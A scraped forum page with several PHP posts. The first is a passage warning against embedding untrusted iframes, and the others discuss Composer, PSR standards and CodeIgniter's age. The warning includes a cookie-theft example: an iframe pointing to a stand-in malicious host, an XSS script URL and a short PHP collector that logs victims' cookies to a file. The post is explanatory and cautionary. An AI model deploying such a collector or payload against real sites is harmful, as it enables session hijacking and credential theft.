<iframe src="http://maliciousSitDotCom/hackTheHack.php"></iframe> 

and in the remote server the hackTheHack.php contain this

http://maliciousSitDotCom/getVictimCookie.php?email=<script>alert(document.cookie)</script>

the mailicious site can then steal the credentials of the unsuspecting users on site. They are not aware that their credentials was stolen by the remote script called getVictimCookie

The getVictimCookie.php, can be written as simple as

<?php

$file = 'stolenCookie.txt';
if(isset($_GET['email'])){

$sweetCookies = file_get_contents($file);

$sweetCookies .= "New Victim\n";

$sweetCookies .= $_GET['email'] ."\n";

file_put_contents($file, $sweetCookies);

The remote server hacks can pretend to be your unsuspecting user, using the stolen credentials for whatever the cookies would reveal.

Last thoughts, don't even use it. If they have to add content on your site, let them add it as a link. That should free you from all responsibilities and conscience overload.

If you really want to have their page included on your site, then you can use an htmlDom parser, parse the page, and then clean it up really good, create a fresh copy of the remote page on your server ( the clean one), and then deliver it to your own iframe. At least, you will have a full control on what acceptable tags are allowed..

veedeoo 474 Junior Poster Featured Poster

I honestly believe that they are important as follows:;

Composer, ORM,http-foundation (from symfony), class-loader from symfony, and native autoloader from composer are probably the most needed if you want to built an application on top of symfony or anything from the packagist.org. In fact, composer allows us to use Zend libraries if we want it to be a part of our application.

It is also important if you want to follow the proposed standardization mainly PSR 0 - 3 standards. Although no developers have had their arms twisted to submission, I finally understanding the reasons behind these proposed standards.

In a classic OOPHP/MVC application design pattern, we normally do things like this

autoloader.php
bootstrap.php
index.php // this routes to view via .htaccess
.htaccess

applicationDirectory
    +Controller
    +Model
    +View

classDirectory
    +classOne.php
    +classTwo.php

includesDirectory
    +SettingsDirectory
        +DBSettings.php
        +SiteSettings.php
 modules
     +modulesOne
         +mouduleOne.php
     +modulesTwo
         +mouduleTwo.php

The above design is pretty congested. Looking at it, can give anyone a serious headache.

In the event that a file/directory or files/directories are deleted because the application does not need them anymore, how are going to update our application file system mainly-> the bootstrap, and autoloaders to reflect the changes made in the application? That would be excruciating right? Imagine, if we have 10 php file requiring or depending to file/s that already been deleted.

The solution to this problem is to use composer (Dependency Manager for PHP).

By utilizing composer we can build our application as dependency aware.. We can delete any files or directories within the vendor …

veedeoo 474 Junior Poster Featured Poster

I totally understand your situation and I have no disagreement whatsoever, but I have a few concerns about CI. It is no longer maintained by its creator. In fact, Ellis Lab don't want it anymore and it is up for adoption.

Pretty soon, it will show its age. PHP is now in version 5.5.3 two weeks ago it was version 5.5.1. The last update on CI was not even disclosed. CI don't even support Dependency manager for PHP, while the rest of the framework already did (big and small). Even, the smallest template engine called RAIN TPL is Dependency manager supported.

If it is a big job, I am happy for you. However, how are you going to control the PHP version on the server side. Unless, you have control over the server where the application will be hosted, I could see the possibility of controlling which PHP version installed on the host.